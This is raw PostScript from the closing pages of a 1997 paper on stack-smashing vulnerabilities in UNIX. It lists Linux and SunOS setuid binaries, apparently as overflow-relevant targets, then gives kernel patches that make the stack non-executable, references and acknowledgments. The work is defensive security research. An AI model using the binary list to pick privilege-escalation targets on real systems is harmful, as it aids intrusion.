(/bin/su)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 1463 M -0.200 0 (/bin/mount)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 1570 M -0.200 0 (/bin/umount)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 912 1677 M -0.200 0 (/bin/ping)A ; : 0 0 4883 6391 rc 0 0 0 sco (F0_100) cvn F0 100 xF F0_100 Ji 612 1859 M 0.021 0 (SunOS - 5.5.1 Generic sun4u sparc)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2032 M -0.200 0 (/usr/local/bin/screen-3.7.1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2139 M -0.200 0 (/usr/local/bin/sudo)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2246 M -0.200 0 (/usr/local/bin/su)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2353 M -0.200 0 (/usr/local/bin/ssh)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2460 M -0.200 0 (/usr/local/bin/rlpr)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2567 M -0.200 0 (/usr/local/bin/rlprd)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2674 M -0.200 0 (/usr/local/bin/top)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2781 M -0.200 0 (/usr/local/bin/ntping)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2888 M -0.200 0 (/usr/local/bin/straps)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2995 M -0.200 0 (/usr/local/bin/rlpq)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3102 M -0.200 0 (/usr/local/sbin/traceroute)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3209 M -0.200 0 (/usr/local/sbin/tcpdump)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3316 M -0.200 0 (/usr/local/sbin/itest)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3423 M -0.200 0 (/usr/local/sbin/icmpinfo)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3530 M -0.200 0 (/usr/local/X11/xmcd)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3637 M -0.200 0 (/usr/local/X11/cda)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3744 M -0.200 0 (/usr/bin/at)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3851 M -0.200 0 (/usr/bin/atq)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3958 M -0.200 0 (/usr/bin/atrm)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4065 M -0.200 0 (/usr/bin/chkey)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4172 M -0.200 0 (/usr/bin/crontab)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4279 M -0.200 0 (/usr/bin/login)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4386 M -0.200 0 (/usr/bin/newgrp)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4493 M -0.200 0 (/usr/bin/passwd)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4600 M -0.200 0 (/usr/bin/ps)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4707 M -0.200 0 (/usr/bin/rcp)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4814 M -0.200 0 (/usr/bin/rdist)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 4921 M -0.200 0 (/usr/bin/rlogin)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 5028 M -0.200 0 (/usr/bin/rsh)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 5135 M -0.200 0 (/usr/bin/su)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 5242 M -0.200 0 (/usr/bin/uptime)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 5349 M -0.200 0 (/usr/bin/w)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 5456 M -0.200 0 (/usr/bin/yppasswd)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 5563 M -0.200 0 (/usr/bin/volcheck)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 5670 M -0.200 0 (/usr/bin/admintool)A ; LH savelevel1 restore pagesave restore (%%[ Page: 35 ]%%) = %%PageTrailer %%Page: 36 36 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (36)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F4_67) cvn F4 67 xF F4_67 Ji 612 500 M -0.200 0 (/usr/bin/ct)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 607 M -0.200 0 (/usr/bin/nispasswd)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 714 M -0.200 0 (/usr/lib/fs/ufs/quota)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 821 M -0.200 0 (/usr/lib/fs/ufs/ufsdump)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 928 M -0.200 0 (/usr/lib/fs/ufs/ufsrestore)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1035 M -0.200 0 (/usr/lib/exrecover)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1142 M -0.200 0 (/usr/lib/pt_chmod)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1249 M -0.200 0 (/usr/lib/utmp_update)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1356 M -0.200 0 (/usr/lib/acct/accton)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1463 M -0.200 0 (/usr/openwin/bin/xlock)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1570 M -0.200 0 (/usr/openwin/bin/ff.core)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1677 M -0.200 0 (/usr/openwin/bin/kcms_configure)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1784 M -0.200 0 (/usr/openwin/bin/kcms_calibrate)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1891 M -0.200 0 (/usr/openwin/lib/mkcookie)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1998 M -0.200 0 (/usr/sbin/allocate)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2105 M -0.200 0 (/usr/sbin/mkdevalloc)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2212 M -0.200 0 (/usr/sbin/mkdevmaps)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2319 M -0.200 0 (/usr/sbin/ping)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2426 M -0.200 0 (/usr/sbin/sacadm)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2533 M -0.200 0 (/usr/sbin/whodo)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2640 M -0.200 0 (/usr/sbin/deallocate)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2747 M -0.200 0 (/usr/sbin/list_devices)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2854 M -0.200 0 (/usr/sbin/static/rcp)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2961 M -0.200 0 (/usr/dt/bin/dtaction)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3068 M -0.200 0 (/usr/dt/bin/dtappgather)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3175 M -0.200 0 (/usr/dt/bin/dtsession)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3282 M -0.200 0 (/usr/dt/bin/dtprintinfo)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3389 M -0.200 0 (/usr/dt/bin/sdtcm_convert)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3496 M -0.200 0 (/usr/proc/bin/ptree)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3603 M -0.200 0 (/usr/proc/bin/pwait)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3710 M -0.200 0 (/usr/ucb/ps)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3817 M -0.200 0 (/sbin/su)A ; LH savelevel1 restore pagesave restore (%%[ Page: 36 ]%%) = %%PageTrailer %%Page: 37 37 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (37)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 1315 505 M 0.152 0 (Appendix C - Stack Execution Permission Patches)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 740 M 0.221 0 (Linux 2.0)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F5_83) cvn F5 83 xF F5_83 Ji 612 872 M 0.200 0 (diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/head.S)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 960 M 0.200 0 (Linux/arch/i386/kernel/head.S)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1048 M 0.200 0 (--- /extra/Linux-2.0.30/arch/i386/kernel/head.S Sat Apr 12 10:41:59 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1136 M 0.200 0 (+++ Linux/arch/i386/kernel/head.S Sat Apr 12 10:44:58 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1224 M 0.200 0 (@@ -402,7 +402,7 @@)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1312 M 0.200 0 ( .quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1400 M 0.200 0 (0xC0000000 */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1488 M 0.200 0 ( .quad 0x00cbfa000000ffff /* 0x23 user 3GB code at)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1576 M 0.200 0 (0x00000000 */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1664 M 0.200 0 ( .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1752 M 0.200 0 (0x00000000 */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1840 M 0.200 0 (- .quad 0x0000000000000000 /* not used */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 1928 M 0.200 0 (+ .quad 0x00cafa000000ffff /* 0x33 user 2.75GB code */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2016 M 0.200 0 ( .quad 0x0000000000000000 /* not used */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2104 M 0.200 0 ( .fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2192 M 0.200 0 ( #ifdef CONFIG_APM)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2280 M 0.200 0 (diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/signal.c)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2368 M 0.200 0 (Linux/arch/i386/kernel/signal.c)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2456 M 0.200 0 (--- /extra/Linux-2.0.30/arch/i386/kernel/signal.c Sat Apr 12 10:41:59)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2544 M 0.200 0 (1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2632 M 0.200 0 (+++ Linux/arch/i386/kernel/signal.c Sat Apr 12 10:44:58 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2720 M 0.200 0 (@@ -214,7 +214,7 @@)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2808 M 0.200 0 ( /* Set up registers for signal handler */)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2896 M 0.200 0 ( regs->esp = \(unsigned long\) frame;)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 2984 M 0.200 0 ( regs->eip = \(unsigned long\) sa->sa_handler;)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3072 M 0.200 0 (- regs->cs = USER_CS; regs->ss = USER_DS;)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3160 M 0.200 0 (+ regs->cs = USER_HUGE_CS; regs->ss = USER_DS;)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3248 M 0.200 0 ( regs->ds = USER_DS; regs->es = USER_DS;)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3336 M 0.200 0 ( regs->gs = USER_DS; regs->fs = USER_DS;)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3424 M 0.200 0 ( regs->eflags &= ~TF_MASK;)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3512 M 0.200 0 (diff -u --recursive /extra/Linux-2.0.30/include/asm-i386/segment.h)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3600 M 0.200 0 (Linux/include/asm-i386/segment.h)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3688 M 0.200 0 (--- /extra/Linux-2.0.30/include/asm-i386/segment.h Sat Apr 12 10:41:37)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3776 M 0.200 0 (1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3864 M 0.200 0 (+++ Linux/include/asm-i386/segment.h Sat Apr 12 10:44:58 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 3952 M 0.200 0 (@@ -4,7 +4,8 @@)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 4040 M 0.200 0 ( #define KERNEL_CS 0x10)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 4128 M 0.200 0 ( #define KERNEL_DS 0x18)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 4304 M 0.200 0 (-#define USER_CS 0x23)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 4392 M 0.200 0 (+#define USER_HUGE_CS 0x23)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 4480 M 0.200 0 (+#define USER_CS 0x33)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 4568 M 0.200 0 ( #define USER_DS 0x2B)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 4656 M 0.200 0 ( #ifndef __ASSEMBLY__)A ; LH savelevel1 restore pagesave restore (%%[ Page: 37 ]%%) = %%PageTrailer %%Page: 38 38 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (38)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 505 M 0.129 0 (References)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 739 M 0.407 0 ([1])A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 739 M -0.063 0 (One, Aleph)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.892 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_83) cvn F5 83 xF F5_83 Ji 1294 739 M 0.238 0 ( Smashing The Stack For Fun And Profit.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2682 739 M 0.153 0 ( Phrack Magazine 49, Fall 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 935 M 0.407 0 ([2])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 912 935 M 0.237 0 (Stack Smashing, What to do?)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1889 935 M -0.064 0 ( Shawn Instentes. USENIX Association )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 3249 935 M 0.256 0 (Login)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 3444 935 M 0.211 0 (, April 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 1131 M 0.407 0 ([3])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 912 1131 M 0.162 0 (The Free On-Line Dictionary of Computing, FOLDOC)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2748 1131 M 0.250 0 ( )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F7) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F7_67) cvn F7 67 xF F7_67 Ji 2790 1152 M -0.200 0 (http://wfn-shop.Princeton.EDU/foldoc/)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 1327 M 0.361 0 ([)A 0.500 0 (4)A -0.111 0 32 0.361 0 (] )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 1327 M -0.361 0 (C)A 0.287 0 (E)A -0.361 0 (R)A 1.287 0 (T)A 39.000 0 32 0.250 0 (, )D -0.074 0 (t)A -0.500 0 (h)A 39.102 0 32 0.148 0 (e )D -0.361 0 (C)A 0.500 0 (o)A -1.574 0 (m)A 0.500 0 (p)A -0.500 0 (u)A -0.074 0 (t)A 0.148 0 (e)A 38.889 0 32 0.361 0 (r )D 0.287 0 (E)A -1.574 0 (m)A 0.148 0 (e)A 0.361 0 (r)A -0.500 0 (g)A 0.148 0 (e)A -0.500 0 (n)A 0.148 0 (c)A 40.750 0 32 -1.500 0 (y )D -0.361 0 (R)A 0.148 0 (e)A -0.287 0 (s)A 0.500 0 (po)A -0.500 0 (n)A -0.287 0 (s)A 39.102 0 32 0.148 0 (e )D 1.287 0 (T)A 0.148 0 (ea)A 40.824 0 32 -1.574 0 (m )D -0.361 0 (C)A 0.500 0 (oo)A 0.361 0 (r)A 0.500 0 (d)A -0.074 0 (i)A -0.500 0 (n)A 0.148 0 (a)A -0.074 0 (ti)A 0.500 0 (o)A 39.750 0 32 -0.500 0 (n )D -0.361 0 (C)A 0.148 0 (e)A -0.500 0 (n)A -0.074 0 (t)A 0.148 0 (e)A 0.361 0 (r)A 39.000 0 32 0.250 0 (. )D 0.500 0 (p)A -0.500 0 (u)A 0.500 0 (b)A -0.074 0 (li)A 39.102 0 32 0.148 0 (c )D -0.148 0 (F)A 1.287 0 (T)A 39.398 0 32 0.852 0 (P )D 0.148 0 (a)A 0.361 0 (r)A 0.148 0 (c)A -0.500 0 (h)A -0.074 0 (i)A -0.500 0 (v)A 0.148 0 (e)A -0.287 0 (s)A 0.250 0 (.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 1425 M 0.142 0 (ftp://ftp.cert.org. 1997.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 1621 M 0.407 0 ([5])A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 1621 M -0.064 0 (CIAC, the U.S. Department of Energy's Computer Incident Advisory Capability. public webserver.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 1719 M 0.063 0 (http://ciac.llnl.gov/ 1997.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 1915 M 0.407 0 ([6])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 912 1915 M 0.032 0 (Practical UNIX & Internet Security)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2098 1915 M -0.056 0 (. Simson Garfinkel and Eugene Spafford. O\222Reilly and Associates)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 2013 M 0.450 0 (1996.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 2209 M 0.407 0 ([7])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 912 2209 M 0.221 0 (The Design and Implementation of the 4.4BSD Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 3090 2209 M 0.051 0 (. McKusick, Marshall Kirk; Bostic,)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 2307 M 0.055 0 (Keith; Karles, Michael J.; Quarterman, John S. Addison Wesley 1996.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 2503 M 0.407 0 ([8])A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 912 2503 M 0.076 0 (Mudge. )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1210 2503 M 0.032 0 (How to Write Buffer Overflows. )A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2290 2503 M -0.166 0 (http://www.l0pht.com/advisories/bufero.html.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 2699 M 0.407 0 ([9])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 912 2699 M 0.190 0 (Assembly Language for the IBM-PC.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2147 2699 M -0.009 0 ( Kip R. Irvine. Macmillian Publishing Company, 1993.)A ; LH savelevel1 restore pagesave restore (%%[ Page: 38 ]%%) = %%PageTrailer %%Page: 39 39 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (39)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 2062 505 M 0.108 0 (Acknowledgments)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 739 M 0.015 0 (Aleph One, Eugene Spafford, Solar Designer, Shawn Instenes, Theo DeRaadt, Mudge and the L0pht, and all)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 612 837 M -0.026 0 (participants on the BUGTRAQ mailing list discussions.)A ; LH savelevel1 restore pagesave restore (%%[ Page: 39 ]%%) = %%PageTrailer %%Trailer %%DocumentNeededFonts: %%DocumentSuppliedFonts: /Pscript_Win_Driver /ProcSet findresource dup /terminate get exec Pscript_Win_Compat dup /terminate get exec %%Pages: 39 (%%[ LastPage ]%%) = %%EOF %-12345X@PJL EOJ %-12345X buffer-overflows/buffer-alt.ps100644 0 0 2656607 6347415714 15146 0ustar rootroot%!PS-Adobe-3.0 %%Creator: Applixware %%Pages: 37 %%DocumentNeededResources: font Times-Italic Courier-Bold Courier Helvetica %%+ font Times-Bold Symbol Times-Roman %%EndComments %%BeginProlog /bd { bind def } bind def /n { newpath } bd /L { lineto } bd /M { moveto } bd /C { curveto } bd /RL { rlineto } bd /MR { rmoveto } bd /ST { show } bd /S { stroke } bd /SP { strokepath } bd /GS { gsave } bd /GR { grestore } bd /GRAY { setgray } bd /AXscale { 72 1000 div } bd /DOSETUP { AXscale dup scale 1 setlinecap 4 setlinewidth 1 setlinejoin 4 setmiterlimit [] 0 setdash } bd /DOCLIPBOX { n 4 2 roll 2 copy M 4 1 roll exch 2 copy L exch pop 2 copy L pop exch L closepath clip } bd /AXredict 14 dict def /X { AXredict begin exch /str exch def str stringwidth pop sub str length div 0 str ashow end } bd /Xc { AXredict begin true charpath end } bd /FINDFONT { { findfont } stopped { /Times-Roman findfont } if } bd /POINTSCALEFONT { AXscale div scalefont } bd /DOTSCALEFONT { scalefont } bd /SETFONT { setfont } bd /p01 <000e0e0600e0e060> def /p02 <0f0f0f0ff0f0f0f0> def /p03 def /p04 def /p10 <040f0f0e40f0f0e0> def /p12 <0006060000606000> def /p13 def /p21 def /ReEncodeSmall { AXredict begin /newcn exch def /newfn exch def /basefn exch def /basefd basefn FINDFONT def /newf basefd maxlength dict def basefd { exch dup /FID ne { dup dup /Encoding eq exch /FontBBox eq or { exch dup length array copy newf 3 1 roll put } { exch newf 3 1 roll put } ifelse } { pop pop } ifelse } forall newf /FontName newfn put newcn aload pop newcn length 2 idiv { newf /Encoding get 3 1 roll put } repeat newfn newf definefont pop end } def /evISOLatin1Encoding [ 49 /one 185 /onesuperior 179 /threesuperior 178 /twosuperior 40 /parenleft 242 /ograve 210 /Ograve 186 /ordmasculine 183 /periodcentered 93 /bracketright 36 /dollar 240 /eth 52 /four 45 /hyphen 159 /tilde 95 /underscore 35 /numbersign 170 /ordfeminine 53 /five 56 /eight 162 /cent 33 /exclam 215 /multiply 42 /asterisk 189 /onehalf 171 /guillemotleft 227 /atilde 195 /Atilde 254 /thorn 222 /Thorn 124 /bar 123 /braceleft 165 /yen 65 /A 66 /B 67 /C 68 /D 69 /E 70 /F 71 /G 44 /comma 72 /H 58 /colon 73 /I 74 /J 75 /K 76 /L 249 /ugrave 232 /egrave 217 /Ugrave 200 /Egrave 77 /M 78 /N 79 /O 80 /P 180 /acute 81 /Q 50 /two 82 /R 83 /S 84 /T 85 /U 86 /V 87 /W 88 /X 89 /Y 90 /Z 47 /slash 191 /questiondown 184 /cedilla 97 /a 